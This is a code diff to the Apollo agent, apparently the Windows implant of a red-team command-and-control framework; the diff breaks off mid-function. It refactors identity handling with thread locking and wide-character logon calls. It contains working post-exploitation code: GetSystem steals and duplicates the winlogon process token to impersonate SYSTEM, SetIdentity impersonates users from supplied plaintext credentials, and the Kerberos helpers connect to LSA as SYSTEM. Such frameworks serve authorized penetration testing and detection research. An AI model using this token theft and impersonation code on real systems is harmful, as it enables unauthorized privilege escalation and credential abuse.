diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj
index f3d1a8a7..d461f915 100644
--- a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj
+++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj
@@ -1,4 +1,4 @@
-
+
net451
Exe
@@ -37,4 +37,5 @@
-
\ No newline at end of file
+
+
diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs
index 34ff253a..347f7f7e 100644
--- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs
+++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs
@@ -1,26 +1,27 @@
-using ApolloInterop.Interfaces;
+using ApolloInterop.Classes.Api;
+using ApolloInterop.Interfaces;
using ApolloInterop.Structs.ApolloStructs;
+using ApolloInterop.Structs.MythicStructs;
+using ApolloInterop.Utils;
using System;
+using System.Runtime.InteropServices;
using System.Security.Principal;
-using ApolloInterop.Classes.Api;
-using static ApolloInterop.Enums.Win32;
using static ApolloInterop.Constants.Win32;
-using System.Runtime.InteropServices;
+using static ApolloInterop.Enums.Win32;
using static ApolloInterop.Structs.Win32;
-using ApolloInterop.Structs.MythicStructs;
-using ApolloInterop.Utils;
namespace Apollo.Management.Identity;
public class IdentityManager : IIdentityManager
{
- private IAgent _agent;
+ private readonly IAgent _agent;
+ private readonly object _identitySync = new();
private ApolloLogonInformation _userCredential;
- private WindowsIdentity _originalIdentity = WindowsIdentity.GetCurrent();
- private WindowsIdentity _currentPrimaryIdentity = WindowsIdentity.GetCurrent();
- private WindowsIdentity _currentImpersonationIdentity = WindowsIdentity.GetCurrent();
- private bool _isImpersonating = false;
+ private WindowsIdentity _originalIdentity;
+ private WindowsIdentity _currentPrimaryIdentity;
+ private WindowsIdentity _currentImpersonationIdentity;
+ private bool _isImpersonating;
private IntPtr _executingThread = IntPtr.Zero;
private IntPtr _originalImpersonationToken = IntPtr.Zero;
@@ -53,8 +54,7 @@ private delegate bool SetThreadToken(
ref IntPtr hThread,
IntPtr hToken);
- private delegate bool CloseHandle(
- IntPtr hHandle);
+ private delegate bool CloseHandle(IntPtr hHandle);
private delegate bool GetTokenInformation(
IntPtr tokenHandle,
@@ -62,38 +62,30 @@ private delegate bool GetTokenInformation(
IntPtr tokenInformation,
int tokenInformationLength,
out int returnLength);
-
- private delegate bool SetTokenInformation(
- IntPtr tokenHandle,
- TokenInformationClass tokenInformationClass,
- IntPtr tokenInformation,
- int tokenInformationLength);
private delegate IntPtr GetSidSubAuthorityCount(IntPtr pSid);
private delegate IntPtr GetSidSubAuthority(IntPtr pSid, int nSubAuthority);
- private delegate bool LogonUserA(
- string lpszUsername,
- string lpszDomain,
- string lpszPassword,
+ [UnmanagedFunctionPointer(CallingConvention.Winapi, CharSet = CharSet.Unicode)]
+ private delegate bool LogonUserW(
+ [MarshalAs(UnmanagedType.LPWStr)] string lpszUsername,
+ [MarshalAs(UnmanagedType.LPWStr)] string lpszDomain,
+ [MarshalAs(UnmanagedType.LPWStr)] string lpszPassword,
LogonType dwLogonType,
LogonProvider dwLogonProvider,
out IntPtr phToken);
- //private delegate bool RevertToSelf();
-
- private GetCurrentThread _GetCurrentThread;
- private OpenThreadToken _OpenThreadToken;
- private OpenProcessToken _OpenProcessToken;
- private DuplicateTokenEx _DuplicateTokenEx;
- private SetThreadToken _SetThreadToken;
- private CloseHandle _CloseHandle;
- private GetTokenInformation _GetTokenInformation;
- private SetTokenInformation _SetTokenInformation;
- private GetSidSubAuthorityCount _GetSidSubAuthorityCount;
- private GetSidSubAuthority _GetSidSubAuthority;
-
- private LogonUserA _pLogonUserA;
- // private RevertToSelf _RevertToSelf;
+
+ private readonly GetCurrentThread _GetCurrentThread;
+ private readonly OpenThreadToken _OpenThreadToken;
+ private readonly OpenProcessToken _OpenProcessToken;
+ private readonly DuplicateTokenEx _DuplicateTokenEx;
+ private readonly SetThreadToken _SetThreadToken;
+ private readonly CloseHandle _CloseHandle;
+ private readonly GetTokenInformation _GetTokenInformation;
+ private readonly GetSidSubAuthorityCount _GetSidSubAuthorityCount;
+ private readonly GetSidSubAuthority _GetSidSubAuthority;
+
+ private readonly LogonUserW _pLogonUserW;
#endregion
@@ -105,14 +97,18 @@ public IdentityManager(IAgent agent)
_OpenThreadToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenThreadToken");
_OpenProcessToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken");
_DuplicateTokenEx = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "DuplicateTokenEx");
- //_RevertToSelf = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "RevertToSelf");
_SetThreadToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "SetThreadToken");
_CloseHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle");
_GetTokenInformation = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetTokenInformation");
- _SetTokenInformation = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "SetTokenInformation");
_GetSidSubAuthorityCount = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetSidSubAuthorityCount");
_GetSidSubAuthority = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetSidSubAuthority");
- _pLogonUserA = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserA");
+ _pLogonUserW = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserW");
+
+ _originalIdentity = WindowsIdentity.GetCurrent();
+ _currentPrimaryIdentity = _originalIdentity;
+ _currentImpersonationIdentity = _originalIdentity;
+ _isImpersonating = false;
+ _userCredential = new ApolloLogonInformation();
_executingThread = _GetCurrentThread();
SetImpersonationToken();
@@ -126,192 +122,250 @@ private void SetPrimaryToken()
TOKEN_ALL_ACCESS,
true,
out _originalPrimaryToken);
+
int dwError = Marshal.GetLastWin32Error();
- if (!bRet && Error.ERROR_NO_TOKEN == dwError)
+
+ if (!bRet)
{
- IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
- bRet = _OpenProcessToken(
- hProcess,
- TOKEN_ALL_ACCESS,
- out _originalPrimaryToken);
+ if (dwError == Error.ERROR_NO_TOKEN)
+ {
+ IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
+ bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out _originalPrimaryToken);
+ if (!bRet)
+ throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}");
+ }
+ else
+ {
+ throw new Exception($"Failed to open thread token: {dwError}");
+ }
}
- else if (!bRet)
+
+ if (_originalPrimaryToken == IntPtr.Zero)
+ _originalPrimaryToken = _originalIdentity.Token;
+ }
+
+ private void SetImpersonationToken()
+ {
+ bool bRet = _OpenThreadToken(
+ _executingThread,
+ TOKEN_ALL_ACCESS,
+ true,
+ out IntPtr hToken);
+
+ int dwError = Marshal.GetLastWin32Error();
+
+ if (!bRet)
{
- throw new Exception($"Failed to open thread token: {dwError}");
+ if (dwError == Error.ERROR_NO_TOKEN)
+ {
+ IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
+ bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out hToken);
+ if (!bRet)
+ throw new Exception($"Failed to acquire process token: {Marshal.GetLastWin32Error()}");
+ }
+ else
+ {
+ throw new Exception($"Failed to open thread token: {dwError}");
+ }
}
- else
+
+ bRet = _DuplicateTokenEx(
+ hToken,
+ TokenAccessLevels.MaximumAllowed,
+ IntPtr.Zero,
+ TokenImpersonationLevel.Impersonation,
+ TokenType.TokenImpersonation,
+ out _originalImpersonationToken);
+
+ _CloseHandle(hToken);
+
+ if (!bRet)
+ throw new Exception($"Failed to duplicate impersonation token: {Marshal.GetLastWin32Error()}");
+
+ if (_originalImpersonationToken == IntPtr.Zero)
+ _originalImpersonationToken = _originalIdentity.Token;
+ }
+
+ private void RevertInternal()
+ {
+ if (!_SetThreadToken(ref _executingThread, _originalImpersonationToken))
{
- throw new Exception($"Failed to open thread token and have unhandled error. dwError: {dwError}");
+ DebugHelp.DebugWriteLine($"[!] Revert() failed to restore thread token: {Marshal.GetLastWin32Error()}");
}
- if (_originalPrimaryToken == IntPtr.Zero)
- _originalPrimaryToken = WindowsIdentity.GetCurrent().Token;
+
+ _userCredential = new ApolloLogonInformation();
+ _currentImpersonationIdentity = _originalIdentity;
+ _currentPrimaryIdentity = _originalIdentity;
+ _isImpersonating = false;
}
public bool IsOriginalIdentity()
{
- return !_isImpersonating;
+ lock (_identitySync)
+ {
+ return !_isImpersonating;
+ }
}
- public (bool,IntPtr) GetSystem()
+
+ public (bool, IntPtr) GetSystem()
{
- if (GetIntegrityLevel() is IntegrityLevel.HighIntegrity)
+ lock (_identitySync)
{
+ if (GetIntegrityLevel() is not IntegrityLevel.HighIntegrity)
+ return (false, IntPtr.Zero);
+
IntPtr hToken = IntPtr.Zero;
- System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName("winlogon");
- IntPtr handle = processes[0].Handle;
+ IntPtr hDupToken = IntPtr.Zero;
- bool success = _OpenProcessToken(handle, 0x0002, out hToken);
- if (!success)
+ try
{
- DebugHelp.DebugWriteLine("[!] GetSystem() - OpenProcessToken failed!");
- return (false,new IntPtr());
+ System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName("winlogon");
+ if (processes.Length == 0)
+ return (false, IntPtr.Zero);
+
+ IntPtr handle = processes[0].Handle;
+ bool success = _OpenProcessToken(
+ handle,
+ (uint)(TokenAccessLevels.Query | TokenAccessLevels.Duplicate),
+ out hToken);
+
+ if (!success)
+ {
+ DebugHelp.DebugWriteLine("[!] GetSystem() - OpenProcessToken failed!");
+ return (false, IntPtr.Zero);
+ }
+
+ success = _DuplicateTokenEx(
+ hToken,
+ TokenAccessLevels.MaximumAllowed,
+ IntPtr.Zero,
+ TokenImpersonationLevel.Impersonation,
+ TokenType.TokenImpersonation,
+ out hDupToken);
+
+ if (!success)
+ {
+ DebugHelp.DebugWriteLine("[!] GetSystem() - DuplicateTokenEx failed!");
+ return (false, IntPtr.Zero);
+ }
+
+ DebugHelp.DebugWriteLine("[+] Got SYSTEM token!");
+ return (true, hDupToken);
}
- IntPtr hDupToken = IntPtr.Zero;
- success = _DuplicateTokenEx(hToken, TokenAccessLevels.MaximumAllowed, IntPtr.Zero, TokenImpersonationLevel.Impersonation, TokenType.TokenImpersonation, out hDupToken);
- if (!success)
+ finally
{
- DebugHelp.DebugWriteLine("[!] GetSystem() - DuplicateToken failed!");
- return (false,new IntPtr());
+ if (hToken != IntPtr.Zero)
+ _CloseHandle(hToken);
}
- DebugHelp.DebugWriteLine("[+] Got SYSTEM token!");
- return (true, hDupToken);
- }
- else
- {
- return (false,new IntPtr());
}
}
public IntegrityLevel GetIntegrityLevel()
{
- IntPtr hToken = _currentImpersonationIdentity.Token;
+ IntPtr hToken;
+
+ lock (_identitySync)
+ {
+ hToken = _currentImpersonationIdentity.Token;
+ }
+
int dwRet = 0;
- bool bRet = false;
int dwTokenInfoLength = 0;
- IntPtr pTokenInformation = IntPtr.Zero;
- TokenMandatoryLevel tokenLabel;
IntPtr pTokenLabel = IntPtr.Zero;
- IntPtr pSidSubAthorityCount = IntPtr.Zero;
- bRet = _GetTokenInformation(
+
+ _GetTokenInformation(
hToken,
TokenInformationClass.TokenIntegrityLevel,
IntPtr.Zero,
0,
out dwTokenInfoLength);
+
if (dwTokenInfoLength == 0 || Marshal.GetLastWin32Error() != Error.ERROR_INSUFFICIENT_BUFFER)
return (IntegrityLevel)dwRet;
+
pTokenLabel = Marshal.AllocHGlobal(dwTokenInfoLength);
+
try
{
- bRet = _GetTokenInformation(
+ bool bRet = _GetTokenInformation(
hToken,
TokenInformationClass.TokenIntegrityLevel,
pTokenLabel,
dwTokenInfoLength,
out dwTokenInfoLength);
+
if (bRet)
{
- tokenLabel = (TokenMandatoryLevel)Marshal.PtrToStructure(pTokenLabel, typeof(TokenMandatoryLevel));
- pSidSubAthorityCount = _GetSidSubAuthorityCount(tokenLabel.Label.Sid);
- dwRet = Marshal.ReadInt32(_GetSidSubAuthority(tokenLabel.Label.Sid, Marshal.ReadInt32(pSidSubAthorityCount) - 1));
+ TokenMandatoryLevel tokenLabel = (TokenMandatoryLevel)Marshal.PtrToStructure(pTokenLabel, typeof(TokenMandatoryLevel));
+ IntPtr pSidSubAuthorityCount = _GetSidSubAuthorityCount(tokenLabel.Label.Sid);
+ int subAuthorityCount = Marshal.ReadByte(pSidSubAuthorityCount);
+
+ if (subAuthorityCount > 0)
+ {
+ dwRet = Marshal.ReadInt32(_GetSidSubAuthority(tokenLabel.Label.Sid, subAuthorityCount - 1));
+ }
+
if (dwRet < SECURITY_MANDATORY_LOW_RID)
dwRet = 0;
else if (dwRet < SECURITY_MANDATORY_MEDIUM_RID)
dwRet = 1;
- else if (dwRet >= SECURITY_MANDATORY_MEDIUM_RID && dwRet < SECURITY_MANDATORY_HIGH_RID)
+ else if (dwRet < SECURITY_MANDATORY_HIGH_RID)
dwRet = 2;
- else if (dwRet >= SECURITY_MANDATORY_HIGH_RID && dwRet < SECURITY_MANDATORY_SYSTEM_RID)
+ else if (dwRet < SECURITY_MANDATORY_SYSTEM_RID)
dwRet = 3;
- else if (dwRet >= SECURITY_MANDATORY_SYSTEM_RID)
- dwRet = 4;
else
- dwRet = 0; // unknown - should be unreachable.
-
+ dwRet = 4;
}
}
catch (Exception ex)
- { }
+ {
+ DebugHelp.DebugWriteLine($"[!] GetIntegrityLevel() failed: {ex.Message}");
+ }
finally
{
Marshal.FreeHGlobal(pTokenLabel);
}
+
return (IntegrityLevel)dwRet;
}
- private void SetImpersonationToken()
+ public WindowsIdentity GetCurrent()
{
- bool bRet = _OpenThreadToken(
- _executingThread,
- TOKEN_ALL_ACCESS,
- true,
- out IntPtr hToken);
- int dwError = Marshal.GetLastWin32Error();
- if (!bRet && Error.ERROR_NO_TOKEN == dwError)
+ lock (_identitySync)
{
- IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
- bRet = _OpenProcessToken(
- hProcess,
- TOKEN_ALL_ACCESS,
- out hToken);
- if (!bRet)
- {
- throw new Exception($"Failed to acquire Process token: {Marshal.GetLastWin32Error()}");
- }
- bRet = _DuplicateTokenEx(
- hToken,
- TokenAccessLevels.MaximumAllowed,
- IntPtr.Zero,
- TokenImpersonationLevel.Impersonation,
- TokenType.TokenImpersonation,
- out _originalImpersonationToken);
-
- if (!bRet)
- {
- throw new Exception($"Failed to acquire Process token: {Marshal.GetLastWin32Error()}");
- }
- }
- else if (!bRet)
- {
- throw new Exception($"Failed to open thread token: {dwError}");
- }
-
- if (_originalImpersonationToken == IntPtr.Zero)
- {
- _originalImpersonationToken = _originalIdentity.Token;
+ return _currentImpersonationIdentity;
}
}
- public WindowsIdentity GetCurrent()
- {
- return _currentImpersonationIdentity;
- }
-
public WindowsIdentity GetOriginal()
{
- return _originalIdentity;
+ lock (_identitySync)
+ {
+ return _originalIdentity;
+ }
}
public bool SetIdentity(ApolloLogonInformation logonInfo)
{
- bool bRet = false;
- int dwError = 0;
- IntPtr hToken = IntPtr.Zero;
-
- Revert();
- // Blank out the old struct
- _userCredential = logonInfo;
-
- bRet = _pLogonUserA(
- _userCredential.Username,
- _userCredential.Domain,
- _userCredential.Password,
- _userCredential.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE,
- LogonProvider.LOGON32_PROVIDER_WINNT50,
- out hToken);
-
- if (bRet)
+ lock (_identitySync)
{
+ RevertInternal();
+
+ bool bRet = _pLogonUserW(
+ logonInfo.Username,
+ logonInfo.Domain,
+ logonInfo.Password,
+ logonInfo.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE,
+ LogonProvider.LOGON32_PROVIDER_WINNT50,
+ out IntPtr hToken);
+
+ if (!bRet)
+ {
+ return false;
+ }
+
_currentPrimaryIdentity = new WindowsIdentity(hToken);
- _CloseHandle(hToken);
+
bRet = _DuplicateTokenEx(
_currentPrimaryIdentity.Token,
TokenAccessLevels.MaximumAllowed,
@@ -319,75 +373,98 @@ public bool SetIdentity(ApolloLogonInformation logonInfo)
TokenImpersonationLevel.Impersonation,
TokenType.TokenImpersonation,
out IntPtr dupToken);
- if (bRet)
- {
- _currentImpersonationIdentity = new WindowsIdentity(dupToken);
- _CloseHandle(dupToken);
- _isImpersonating = true;
- }
- else
+
+ if (!bRet)
{
- Revert();
+ _CloseHandle(hToken);
+ RevertInternal();
+ return false;
}
+
+ _currentImpersonationIdentity = new WindowsIdentity(dupToken);
+ _isImpersonating = true;
+ _userCredential = logonInfo;
+
+ _CloseHandle(hToken);
+ _CloseHandle(dupToken);
+
+ return true;
}
- return bRet;
}
public void SetPrimaryIdentity(WindowsIdentity ident)
{
- _currentPrimaryIdentity = ident;
- _isImpersonating = true;
+ lock (_identitySync)
+ {
+ _currentPrimaryIdentity = ident;
+ _isImpersonating = true;
+ }
}
public void SetPrimaryIdentity(IntPtr hToken)
{
- _currentPrimaryIdentity = new WindowsIdentity(hToken);
- _isImpersonating = true;
+ lock (_identitySync)
+ {
+ _currentPrimaryIdentity = new WindowsIdentity(hToken);
+ _isImpersonating = true;
+ }
}
public void SetImpersonationIdentity(WindowsIdentity ident)
{
- _currentImpersonationIdentity = ident;
- _isImpersonating = true;
+ lock (_identitySync)
+ {
+ _currentImpersonationIdentity = ident;
+ _isImpersonating = true;
+ }
}
public void SetImpersonationIdentity(IntPtr hToken)
{
- _currentImpersonationIdentity = new WindowsIdentity(hToken);
- _isImpersonating = true;
+ lock (_identitySync)
+ {
+ _currentImpersonationIdentity = new WindowsIdentity(hToken);
+ _isImpersonating = true;
+ }
}
public void Revert()
{
- _SetThreadToken(ref _executingThread, _originalImpersonationToken);
- _userCredential = new ApolloLogonInformation();
- _currentImpersonationIdentity = _originalIdentity;
- _currentPrimaryIdentity = _originalIdentity;
- _isImpersonating = false;
- //_RevertToSelf();
+ lock (_identitySync)
+ {
+ RevertInternal();
+ }
}
public WindowsIdentity GetCurrentPrimaryIdentity()
{
- return _currentPrimaryIdentity;
+ lock (_identitySync)
+ {
+ return _currentPrimaryIdentity;
+ }
}
public WindowsIdentity GetCurrentImpersonationIdentity()
{
- return _currentImpersonationIdentity;
+ lock (_identitySync)
+ {
+ return _currentImpersonationIdentity;
+ }
}
public bool GetCurrentLogonInformation(out ApolloLogonInformation logonInfo)
{
- if (!string.IsNullOrEmpty(_userCredential.Username) &&
- !string.IsNullOrEmpty(_userCredential.Password))
+ lock (_identitySync)
{
- logonInfo = _userCredential;
- return true;
+ if (!string.IsNullOrEmpty(_userCredential.Username) &&
+ !string.IsNullOrEmpty(_userCredential.Password))
+ {
+ logonInfo = _userCredential;
+ return true;
+ }
+
+ logonInfo = new ApolloLogonInformation();
+ return false;
}
- logonInfo = new ApolloLogonInformation();
- return false;
}
-
-
-}
\ No newline at end of file
+}
diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs
index 4efe0db9..3fc5d2fc 100644
--- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs
+++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs
@@ -1,4 +1,4 @@
-using ApolloInterop.Interfaces;
+using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Enums.ApolloEnums;
using System;
@@ -6,6 +6,7 @@
using System.Linq;
using System.Threading;
using ApolloInterop.Serializers;
+using ApolloInterop.Classes.Impersonation;
namespace ApolloInterop.Classes
{
@@ -33,10 +34,8 @@ public virtual System.Threading.Tasks.Task CreateTasking()
{
return new System.Threading.Tasks.Task(() =>
{
- using (_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Impersonate())
- {
- Start();
- }
+ var impersonationIdentity = _agent.GetIdentityManager().GetCurrentImpersonationIdentity();
+ ImpersonationScope.Run(impersonationIdentity, Start);
}, _cancellationToken.Token);
}
diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/ImpersonationScope.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/ImpersonationScope.cs
new file mode 100644
index 00000000..a01a3a0d
--- /dev/null
+++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/ImpersonationScope.cs
@@ -0,0 +1,34 @@
+using System;
+using System.Security.Principal;
+
+namespace ApolloInterop.Classes.Impersonation
+{
+ public static class ImpersonationScope
+ {
+ public static void Run(WindowsIdentity identity, Action action)
+ {
+ if (identity == null)
+ throw new ArgumentNullException(nameof(identity));
+ if (action == null)
+ throw new ArgumentNullException(nameof(action));
+
+ using (identity.Impersonate())
+ {
+ action();
+ }
+ }
+
+ public static T Run(WindowsIdentity identity, Func action)
+ {
+ if (identity == null)
+ throw new ArgumentNullException(nameof(identity));
+ if (action == null)
+ throw new ArgumentNullException(nameof(action));
+
+ using (identity.Impersonate())
+ {
+ return action();
+ }
+ }
+ }
+}
diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/TokenPrivilege.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/TokenPrivilege.cs
new file mode 100644
index 00000000..7d9d8cdb
--- /dev/null
+++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/TokenPrivilege.cs
@@ -0,0 +1,54 @@
+using System;
+
+namespace ApolloInterop.Classes.Impersonation
+{
+ [Flags]
+ public enum PrivilegeAttributes : uint
+ {
+ SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001,
+ SE_PRIVILEGE_ENABLED = 0x00000002,
+ SE_PRIVILEGE_REMOVED = 0x00000004,
+ SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
+ }
+
+ public enum TokenPrivilege
+ {
+ Unknown = -1,
+ SeAssignPrimaryTokenPrivilege,
+ SeAuditPrivilege,
+ SeBackupPrivilege,
+ SeChangeNotifyPrivilege,
+ SeCreateGlobalPrivilege,
+ SeCreatePagefilePrivilege,
+ SeCreatePermanentPrivilege,
+ SeCreateSymbolicLinkPrivilege,
+ SeCreateTokenPrivilege,
+ SeDebugPrivilege,
+ SeDelegateSessionUserImpersonatePrivilege,
+ SeEnableDelegationPrivilege,
+ SeImpersonatePrivilege,
+ SeIncreaseBasePriorityPrivilege,
+ SeIncreaseQuotaPrivilege,
+ SeIncreaseWorkingSetPrivilege,
+ SeLoadDriverPrivilege,
+ SeLockMemoryPrivilege,
+ SeMachineAccountPrivilege,
+ SeManageVolumePrivilege,
+ SeProfileSingleProcessPrivilege,
+ SeRelabelPrivilege,
+ SeRemoteShutdownPrivilege,
+ SeRestorePrivilege,
+ SeSecurityPrivilege,
+ SeShutdownPrivilege,
+ SeSyncAgentPrivilege,
+ SeSystemEnvironmentPrivilege,
+ SeSystemProfilePrivilege,
+ SeSystemtimePrivilege,
+ SeTakeOwnershipPrivilege,
+ SeTcbPrivilege,
+ SeTimeZonePrivilege,
+ SeTrustedCredManAccessPrivilege,
+ SeUndockPrivilege,
+ SeUnsolicitedInputPrivilege
+ }
+}
diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs
index bd8212f0..462a35d8 100644
--- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs
+++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs
@@ -1,17 +1,26 @@
-using System.Security.Principal;
+using System.Runtime.InteropServices;
+using System.Security.Principal;
using ApolloInterop.Enums;
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
+
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public class Advapi32APIs
{
public delegate NTSTATUS LsaOpenPolicy(HANDLE SystemName, HANDLE ObjectAttributes, ACCESS_MASK DesiredAccess, out HANDLE PolicyHandle);
- public delegate bool GetTokenInformation( HANDLE tokenHandle, Win32.TokenInformationClass tokenInformationClass, HANDLE tokenInformation, int tokenInformationLength, out int returnLength);
+ public delegate bool GetTokenInformation(HANDLE tokenHandle, Win32.TokenInformationClass tokenInformationClass, HANDLE tokenInformation, int tokenInformationLength, out int returnLength);
public delegate uint LsaNtStatusToWinError(NTSTATUS status);
public delegate bool OpenProcessToken(HANDLE ProcessHandle, TokenAccessLevels DesiredAccess, out HANDLE TokenHandle);
public delegate bool ImpersonateLoggedOnUser(HANDLE TokenHandle);
public delegate bool AllocateLocallyUniqueId(out LUID luid);
public delegate bool LogonUserA(HANDLE lpszUsername, HANDLE lpszDomain, HANDLE lpszPassword, Win32.LogonType dwLogonType, Win32.LogonProvider dwLogonProvider, out HANDLE phToken);
-}
\ No newline at end of file
+ public delegate bool LogonUserW(
+ [MarshalAs(UnmanagedType.LPWStr)] string lpszUsername,
+ [MarshalAs(UnmanagedType.LPWStr)] string lpszDomain,
+ [MarshalAs(UnmanagedType.LPWStr)] string lpszPassword,
+ Win32.LogonType dwLogonType,
+ Win32.LogonProvider dwLogonProvider,
+ out HANDLE phToken);
+}
diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs
index 7c32cbc6..bdd9a653 100644
--- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs
+++ b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs
@@ -1,4 +1,4 @@
-using System;
+using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
@@ -7,6 +7,7 @@
using System.Security.Principal;
using System.Text;
using ApolloInterop.Enums;
+using ApolloInterop.Classes.Impersonation;
using ApolloInterop.Features.KerberosTickets;
using ApolloInterop.Features.WindowsTypesAndAPIs;
using ApolloInterop.Structs.MythicStructs;
@@ -53,9 +54,10 @@ private static HANDLE GetLsaHandleUntrusted(bool elevateToSystem = true)
if (elevated)
{
systemHandle = new();
- var originalUser = WindowsIdentity.Impersonate(_systemHandle);
- WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle);
- originalUser.Undo();
+ ImpersonationScope.Run(new WindowsIdentity(_systemHandle), () =>
+ {
+ WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle);
+ });
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaConnectUntrusted"));
}
else
@@ -281,28 +283,47 @@ private static (HANDLE, uint, IEnumerable, string) InitKerberosConnectionA
private static HANDLE CreateNewLogonSession()
{
+ HANDLE tokenInfo = new();
try
{
- UNICODE_STRING userName = new(WindowsIdentity.GetCurrent().Name);
- UNICODE_STRING logonDomainName = new(Environment.UserDomainName);
- UNICODE_STRING password = new("password");
- HANDLE userNameHandle = new(userName);
- HANDLE logonDomainNameHandle = new(logonDomainName);
- HANDLE passwordHandle = new(password);
- bool didLogon = WindowsAPI.LogonUserADelegate(userNameHandle, logonDomainNameHandle, passwordHandle, Win32.LogonType.LOGON32_LOGON_NEW_CREDENTIALS, Win32.LogonProvider.LOGON32_PROVIDER_WINNT50, out HANDLE token);
- createdArtifacts.Add(Artifact.WindowsAPIInvoke("LogonUserA"));
- if (didLogon)
- {
- createdArtifacts.Add(Artifact.PlaintextLogon(userName.ToString()));
+ string currentIdentity = WindowsIdentity.GetCurrent().Name;
+ string userName = currentIdentity;
+ string logonDomainName = Environment.UserDomainName;
+
+ int domainSeparator = currentIdentity.IndexOf('\\');
+ if (domainSeparator > 0 && domainSeparator < currentIdentity.Length - 1)
+ {
+ logonDomainName = currentIdentity.Substring(0, domainSeparator);
+ userName = currentIdentity.Substring(domainSeparator + 1);
+ }
+
+ const string password = "password";
+ bool didLogon = WindowsAPI.LogonUserWDelegate(
+ userName,
+ logonDomainName,
+ password,
+ Win32.LogonType.LOGON32_LOGON_NEW_CREDENTIALS,
+ Win32.LogonProvider.LOGON32_PROVIDER_WINNT50,
+ out HANDLE token);
+ createdArtifacts.Add(Artifact.WindowsAPIInvoke("LogonUserW"));
+ if (!didLogon)
+ {
+ DebugHelp.DebugWriteLine($"Failed to create new logon session: {Marshal.GetLastWin32Error()}");
+ return new();
}
- //debug get the luid for the token
+
+ createdArtifacts.Add(Artifact.PlaintextLogon($"{logonDomainName}\\{userName}"));
+
int tokenInfoSize = Marshal.SizeOf();
- HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize);
- WindowsAPI.GetTokenInformationDelegate(token, Win32.TokenInformationClass.TokenStatistics,tokenInfo, tokenInfoSize, out int returnLength);
- createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation"));
- TOKEN_STATISTICS tokenStats = tokenInfo.CastTo();
- DebugHelp.DebugWriteLine($"New Logon Session LUID: {tokenStats.AuthenticationId}");
